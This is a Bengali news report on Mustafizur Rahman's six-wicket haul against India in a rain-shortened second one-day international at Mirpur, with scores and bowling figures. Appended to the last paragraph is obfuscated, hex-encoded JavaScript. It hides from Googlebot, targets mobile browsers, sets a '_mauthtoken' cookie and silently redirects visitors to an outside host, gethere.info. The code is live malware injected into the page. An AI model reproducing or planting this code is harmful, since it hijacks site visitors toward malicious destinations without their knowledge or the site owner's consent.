ইতিহাসের পাতায় মোস্তাফিজ

_EZ_1018নিজস্ব প্রতিবেদক : মোস্তাফিজ মানেই ভারতের জন্য নতুন আতঙ্ক। তার কাছেই প্রথম ম্যাচে বধ হয়েছিলেন ধোনি বাহিনী। দ্বিতীয় ম্যাচেও তাই। সেই বোলিং কৃতিত্ব। তার আগ্রাসী বোলিংয়ের সামনে ফের ক্ষত-বিক্ষত মহাপরাক্রমশালী ভারত।

টস জিতে স্কোরটা বড় করার যে স্বপ্ন দেখেছেন ভারতের মিস্টার কুল, সেটা হতে দেননি সাতক্ষীরার ছেলে মোস্তাফিজুর রহমান। সুন্দরবন ঘেঁষা গ্রামের বাড়িতে প্রতিনিয়ত যাদের বাঘের সঙ্গে লড়াই করে চলতে হয়, তাদের জন্য আবার অন্য কী চ্যালেঞ্জ বড় হতে পারে!

তাই শিকারের নেশায় বেশ পাকা এই তরুণ বয়সেও। আজ (রবিবার) মিরপুর শেরে বাংলা জাতীয় স্টেয়িামে তিনি তা দেখালেন আরেকবার। মোস্তাফিজের ধারালো বোলিং বাংলাদেশের সিরিজ জয়ের পথকেই শুধু সহজ করেননি, নিজেকেও নিয়ে গেছেন তিনি উইকেট দখলের উচ্চতায়।

এই ম্যাচে তার শিকার রোহিত শর্মা, সুরেষ রায়না, মাহেন্দ্র সিং ধোনি, রবিন্দ্র জাদেজা, অক্ষর প্যাটেল ও অশ্বিন। টানা দুই ম্যাচে ১১ উইকেট। প্রথম ম্যাচে ৫ উইকেট লাভের পর আজ রোববার দ্বিতীয় ওয়ানডেতে ৬ উইকেট। আগে এমন কৃতিত্ব ছিলো একজনেরই, জিম্বাবুয়ের ব্রায়ান ভিটরি। তিনি প্রথম টানা দুই ম্যাচে ৫টি করে উইকেট লাভ করেছেন। দ্বিতীয় বোলার হিসাবে সেখানে পৌছালেন মোস্তফিজুর। সাতক্ষীরার ছেলেটি এখন সত্যিই এক বিস্ময় বালক!

_EZ_1025তার কৃতিত্বেই ভারতীয়দের ইনিংস থেমে যায় মাত্র ২০০ রানে। বৃষ্টি উপেক্ষা করে যা উপভোগ করেছেন মিরপুরের দর্শকরা। প্রায় টানা দুই ঘন্টার বৃষ্টিতে ভিজেছেন, তবুও আসন ছাড়েননি কেউ। যা শেষ পর্যন্ত কার্টেল ওভারে রুপান্তরিত হয়ে বাংলাদেশের সামনে টার্গেট দাড়িয়েছে ৪৭ ওভারের ২০০ রানের।

যদিও বৃষ্টির আগেই পাঁচ উইকেট দখল করে ভারতীয়দের ব্যাটিং মেরুদন্ড ভেঙ্গে দিয়েছিলেন মোস্তাফিজ। ইনিংসের দ্বিতীয় বলেই রোহিত শর্মাকে ফিরিয়ে দিয়ে দিনের উইকেট দখলের কাজ শুরু করেন মোস্তাফিজ। সে থেকে মিরপুর মাঠে আবারো শুরু হয়ে তার বোলিং আগ্রাসন। দুই ম্যাচে টানা তিন বলে কোন রান দিয়ে তিনি রোহিত শর্মাকে দুই বার আউট করেছেন। দলের খাতায় কোন রান যোগ না হতেই ভারতীয়দের ওপেনিং জুটির পতনে আকাশ ছোয়া উল্লাসে ফেটে পড়ে মিরপুর স্টেডিয়ামের দর্শক।

কিন্তু পরক্ষনে শিখর ধাওয়ান ও বিরাট কোহলির ব্যাটিং দৃঢ়তায় ভারতের দলীয় স্কোরের রুপ বদলে যেতে থাকে। অনেকটা রোদ বৃষ্টি খেলার মতোই মেতে ছিলো ভারতীয় ব্যাটিং লাইনও। কিন্তু এতে হতাশ যে হন নি বাংলাদেশ অধিনায়ক! মোস্তফিজ আশারস্থল হয়ে কাজ করেছেন। মাশরাফিতেও ছিলো এই বিশ্বাস। তাই তো তিনি পেসারদের উপর খুব বেশি আস্থাবান ছিলেন। যেখানে মুল নায়কের ভূমিকায় ছিলেন সাতক্ষীরার ছেলেটি। তার উপস্থিতিতে স্পিন নির্ভরতা ছেড়ে বাংলাদেশ এখন নতুন দিগন্ত খুঁজে পেয়েছে, পেস আক্রমনের।

দ্বিতীয় একদিনের ম্যাচেও বাংলাদেশের পেস আক্রমনে কুপোকাত ধোনীরা। মোস্তাফিজ একাই ৪৩ রানে পান ৬ উইকেট। অপর পেসার রুবেল হোসেন ২৬ রানে পান ২ উইকেট। অর্থাৎ দশ উইকেটের আটটিই পান পেসাররা।

মাঝখানে দুই উইকেট দখল করে ব্রেক থ্রুটা এনে দিয়েছিলেন নাসির হোসেন। ত্রয়োদশ ওভারে বিরাট কোহলির উইকেটটি তুলে নেন নাসির এলবিডব্লিউ’র ফাঁদে ফেলে। পরেরটি দখল করেন উইকেটের উপর সফল ব্যাট চালানো শিখর ধাওয়ানের, কট বিহাইন্ডে আউট করে। এরপর ধোনি-রাইদু’র জুটি ভাঙ্গেন দ্বিতীয় স্পেলে বল করতে আসা রুবেল হোসেন। বাকি সময়টা বল হাতে রাজত্ব করেছেন মোস্তাফিজুর রহমান।

মাহেন্দ্র সিং ধোনি ও সুরেষ রায়নার জুটিকে ঘিরে যখনই ভারতীয়দের বড় স্কোর হওয়ার দাবীটা জোরদার হচ্ছে ঠিক তখনি মোস্তাফিজুর রহমানের শিকারে পড়েন সুরেষ রায়না। এরপর ভারতীয় অধিনায়ক মাহেন্দ্র সিং ধোনিকে স্লোয়ারে বোকা বানিয়ে কট আউটে পরিনত করে মাঠের বাইরে পাঠান।

পরের বলেই প্যাটেলের উইকেট দখল করে মোস্তাফিজের সামনে আরেকবার এসেছিলো হ্যাটট্রিকের সুযোগ। কিন্তু প্রথম ম্যাচের ন্যায় এটিও বিফলে গেছে তার। কোনমতে মোস্তাফিজুর রহমানের অষ্টম ওভারের পঞ্চম বলটি ঠেলে দিয়ে এক রানে তুলে।

তাতে কি, ভারতীয়দের বড় স্কোর গড়ার পথটি তো তিনি থামিয়ে দিয়েছেন আগেই। তবে অশ্বিনের উইকেটটি তিনি শেষ পর্যন্ত নিজের দখলেই রেখেছেন। আর সে উৎযাপনটা করেছেন তিনি আরেকটি পাঁচ উইকেট লাভের মধ্য দিয়ে।

এরপর বৃষ্টিতে থেমে থাকার প্রায় দুই ঘন্টা পর পুনরায় মাঠে গড়ানো ম্যাচের পরেও নায়ক ছিলেন মোস্তফিজুর রহমান। নিজের দশম ওভার পূরন করার শেষ বলটি করেই উইকেট দখলে ক্যারিয়ারের আরেক ধাপ অতিক্রম করেন করেন এই তরুণ।

জাদেজাকে সরাসরি বোল্ট করে লাভ করেন ৬ উইকেট। আর ইনিংসের সমাপ্তি টানেন রুবেল হোসেন ভূবেনেশ্বরের উইকেট দখল করে। পেসারদেও দখলে আট আর স্পিনারদের দখলে দুই উইকেট। আর ভারতের ব্যাটিং ইনিংস থেমে যায় মাত্র ২০০ রানে। তাদের খেলতে দেওয়া হয়নি পুরো পঞ্চাশ ওভার। তার অনেক আগেই অর্থাৎ ৪৫ ওভারেই সব কয়টি উইকেট ধ্বসে যায় ভারতীয়রা।

ভারতের পক্ষে শিখর ধাওয়ান সর্বোচ্চ ৫৩, এমএস ধোনি ৪৭, সুরেষ রায়না ৩৪, বিরাট কোহলি ২৩, জাদেজা ১৯ রান করেন। বাংলাদেশের পক্ষে মোস্তাফিজুর রহমান ৪৩ রানে ৬, রুবেল হোসেন ২৬ রানে ২ ও নাসির হোসেন ৩৩ রানে ২ উইকেট লাভ করেন।var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rent for add